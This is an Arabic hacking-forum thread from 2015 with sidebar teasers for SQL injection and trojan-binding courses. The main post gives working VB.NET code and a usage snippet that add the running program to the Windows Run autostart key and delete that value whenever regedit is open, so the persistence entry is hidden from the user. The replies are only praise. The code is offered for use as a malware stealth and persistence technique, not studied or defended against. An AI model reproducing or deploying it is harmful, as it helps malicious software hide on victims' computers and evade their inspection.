1. المٌقدمة الأولي :دورة إختبار ثغرات حقن قواعد البيانات SQLI الإحترافية لعام 2017 عام 2018
    تٌعد ثغرات حقن قواعد البينات الثغرة رقم واحد فى العالم والمصنفة تحت بند الإخطر
    والفريق التابع له بإختراق أكبر المواقع الصهيونية قرائة الموضوع
  2. المٌقدمة الثانية : دورة إختبار ثغرات حقن قواعد البيانات SQLI الإحترافية لعام 2017 عام 2018
    في هذه المٌثقدمة الثانية والأخيرة سوف نتعرف على قواعد علم حقن قواعد البيانات
    حتى يتثنى لنا علم يٌساعدنا على القيام بعمليات الحقن بالطرق الصحيحه قرائة الموضوع
  3. دورة كشف دمج والتلغيم حصريا على أرض عراق تيم(2017)
    بعد ماقمت بعمل دورة الكشف دمج والتلغيم وستكملت الدوره وتحتوي على 12 درس
    كانت دروس حصريا على عراق تيم وشرح واضح جدا ومفهوم الى المبتدأ والى المبدع قرائة الموضوع

[ طريقه ] الصاروخ الثاني يهبط على ارض الابداع اخفاء قيمه الرجستري

الموضوع في 'حماية الأجهزة' بواسطة !»°بہًكہًر الہًعہًراقہًي°«!, بتاريخ ‏28 مارس 2015.

كاتب الموضوع : !»°بہًكہًر الہًعہًراقہًي°«! المشاهدات : 1,060 الردود : 33 ‏28 مارس 2015
حالة الموضوع:
مغلق
  1. غير متصل

    !»°بہًكہًر الہًعہًراقہًي°«! أداري أقسام حماية الأجهزة

    عضو منذ:
    ‏7 فبراير 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    1,478
    نقاط الجائزة:
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:


    السلام عليكم ورحمه الله وبركاته
    كيف الحال اعضاء وزوار ومشرفين عرق تيم
    عسا ان كونوا بافضل حال
    لا احب المقدمات ندخل في المهم

    درس اليوم اخفاء قيمه الرجستر
    اتركم مع الاكواد


    كود:
    Public Enum HKEY
            ClassesRoot
            CurrentUser
            LocalMachine
            Users
            CurrentConfig
        End Enum
    
        Public Shared Sub HideValueFromRegistry(ByVal HKEY As HKEY, ByVal SubKey As String, ByVal Name As String, ByVal KeyValue As String)
            Dim List As New List(Of String)
            For Each Proc As Process In Process.GetProcesses
                List.Add(Proc.ProcessName)
            Next
            If List.Contains("regedit") Then
                Select Case HKEY
                    Case HKEY.ClassesRoot
                        Dim Key As RegistryKey = Registry.ClassesRoot.OpenSubKey(SubKey)
                        If Key.GetValue(Name) IsNot Nothing Then
                            My.Computer.Registry.ClassesRoot.OpenSubKey(SubKey, True).DeleteValue(Name)
                        End If
                    Case HKEY.CurrentUser
                        Dim Key As RegistryKey = Registry.CurrentUser.OpenSubKey(SubKey)
                        If Key.GetValue(Name) IsNot Nothing Then
                            My.Computer.Registry.CurrentUser.OpenSubKey(SubKey, True).DeleteValue(Name)
                        End If
                    Case HKEY.LocalMachine
                        Dim Key As RegistryKey = Registry.LocalMachine.OpenSubKey(SubKey)
                        If Key.GetValue(Name) IsNot Nothing Then
                            My.Computer.Registry.LocalMachine.OpenSubKey(SubKey, True).DeleteValue(Name)
                        End If
                    Case HKEY.Users
                        Dim Key As RegistryKey = Registry.Users.OpenSubKey(SubKey)
                        If Key.GetValue(Name) IsNot Nothing Then
                            My.Computer.Registry.Users.OpenSubKey(SubKey, True).DeleteValue(Name)
                        End If
                    Case HKEY.CurrentConfig
                        Dim Key As RegistryKey = Registry.CurrentConfig.OpenSubKey(SubKey)
                        If Key.GetValue(Name) IsNot Nothing Then
                            My.Computer.Registry.CurrentConfig.OpenSubKey(SubKey, True).DeleteValue(Name)
                        End If
                End Select
            Else
                Select Case HKEY
                    Case HKEY.ClassesRoot
                        Dim Key As RegistryKey = Registry.ClassesRoot.OpenSubKey(SubKey)
                        If Key.GetValue(Name) Is Nothing Then
                            My.Computer.Registry.ClassesRoot.OpenSubKey(SubKey, True).SetValue(Name, KeyValue)
                        End If
                    Case HKEY.CurrentUser
                        Dim Key As RegistryKey = Registry.CurrentUser.OpenSubKey(SubKey)
                        If Key.GetValue(Name) Is Nothing Then
                            My.Computer.Registry.CurrentUser.OpenSubKey(SubKey, True).SetValue(Name, KeyValue)
                        End If
                    Case HKEY.LocalMachine
                        Dim Key As RegistryKey = Registry.LocalMachine.OpenSubKey(SubKey)
                        If Key.GetValue(Name) Is Nothing Then
                            My.Computer.Registry.LocalMachine.OpenSubKey(SubKey, True).SetValue(Name, KeyValue)
                        End If
                    Case HKEY.Users
                        Dim Key As RegistryKey = Registry.Users.OpenSubKey(SubKey)
                        If Key.GetValue(Name) Is Nothing Then
                            My.Computer.Registry.Users.OpenSubKey(SubKey, True).SetValue(Name, KeyValue)
                        End If
                    Case HKEY.CurrentConfig
                        Dim Key As RegistryKey = Registry.CurrentConfig.OpenSubKey(SubKey)
                        If Key.GetValue(Name) Is Nothing Then
                            My.Computer.Registry.CurrentConfig.OpenSubKey(SubKey, True).SetValue(Name, KeyValue)
                     End If
                End Select
            End If
        End Sub
    
    الاستخدام
    كود:
     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
    HideValueFromRegistry(HKEY.CurrentUser, "Software\Microsoft\Windows\CurrentVersion\Run", Me.Text, Application.ExecutablePath)
    End Sub 
    الي هنا انتهى الدرس ارجو ان يكون نال اعجابكم

    اهداء
    الئ
    امير ايكل
    المعاقب الصدري
    علي الصقور
    مخلد هكسور
    محمد العراقي

    ار[FONT]
     


    جاري تحميل الصفحة...
  2. غير متصل

    حازم مشكله
    V • I • P

    عضو منذ:
    ‏26 مارس 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    28
    نقاط الجائزة:
    الجنس:
    ذكر

    رد: الصاروخ الثاني يهبط على ارض الابداع اخفاء قيمه الرجستري

    حلؤؤ عاشت ايدك
     


    أعجب بهذه المشاركة !»°بہًكہًر الہًعہًراقہًي°«!
  3. غير متصل

    !»°بہًكہًر الہًعہًراقہًي°«! أداري أقسام حماية الأجهزة

    عضو منذ:
    ‏7 فبراير 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    1,478
    نقاط الجائزة:
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:

    رد: الصاروخ الثاني يهبط على ارض الابداع اخفاء قيمه الرجستري

    حبيب قلبي حازم منو الموضوع
     


  4. غير متصل

    وائل الاسدي
    rank
    Developer

    عضو منذ:
    ‏23 فبراير 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    5
    نقاط الجائزة:
    الجنس:
    ذكر
    الوظيفة:
    موظف في وزارة الداخلية
    الإقامة:

    رد: الصاروخ الثاني يهبط على ارض الابداع اخفاء قيمه الرجستري

    عاشت ايدك استمر:!."​
     


    أعجب بهذه المشاركة !»°بہًكہًر الہًعہًراقہًي°«!
  5. غير متصل

    حازم مشكله
    V • I • P

    عضو منذ:
    ‏26 مارس 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    28
    نقاط الجائزة:
    الجنس:
    ذكر

    رد: الصاروخ الثاني يهبط على ارض الابداع اخفاء قيمه الرجستري

    نورك حبي
     


    أعجب بهذه المشاركة !»°بہًكہًر الہًعہًراقہًي°«!
  6. غير متصل

    !»°بہًكہًر الہًعہًراقہًي°«! أداري أقسام حماية الأجهزة

    عضو منذ:
    ‏7 فبراير 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    1,478
    نقاط الجائزة:
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:

    وايدك خويه
     


  7. غير متصل

    عہلي الصہقہور هنہا أنا الله وأنا ليه راجعون
    V • I • P

    عضو منذ:
    ‏29 نوفمبر 2014
    عدد المشاركات:
    الإعجابات المتلقاة:
    7
    نقاط الجائزة:
    الإقامة:

    رد: الصاروخ الثاني يهبط على ارض الابداع اخفاء قيمه الرجستري

    وعليكم السلام ورحمة الله وبركاتة حبيبي بكر
    عاشت ايدك مبدع وربي استمر ولاتحرمنا من ابداعك


    وشكرا على الاهداء حياتي بكر
     


  8. غير متصل

    rebih
    Developer

    عضو منذ:
    ‏11 مايو 2014
    عدد المشاركات:
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:

    رد: الصاروخ الثاني يهبط على ارض الابداع اخفاء قيمه الرجستري

    مشكوور واصل بدون فواصل
     


    أعجب بهذه المشاركة !»°بہًكہًر الہًعہًراقہًي°«!
  9. غير متصل

    !»°بہًكہًر الہًعہًراقہًي°«! أداري أقسام حماية الأجهزة

    عضو منذ:
    ‏7 فبراير 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    1,478
    نقاط الجائزة:
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:

    رد: الصاروخ الثاني يهبط على ارض الابداع اخفاء قيمه الرجستري

    منور الموضوع. كبدي
     


  10. غير متصل

    سكيورتي ارهابي
    ExpErt DeveloPer

    عضو منذ:
    ‏1 سبتمبر 2014
    عدد المشاركات:
    الإعجابات المتلقاة:
    53
    نقاط الجائزة:
    الوظيفة:
    ماكسي مول
    الإقامة:

    رد: الصاروخ الثاني يهبط على ارض الابداع اخفاء قيمه الرجستري

    وعليكم السلام مبدع حبيبي :ُeُe0y:
     


    أعجب بهذه المشاركة !»°بہًكہًر الہًعہًراقہًي°«!
حالة الموضوع:
مغلق

مشاركة هذه الصفحة

جاري تحميل الصفحة...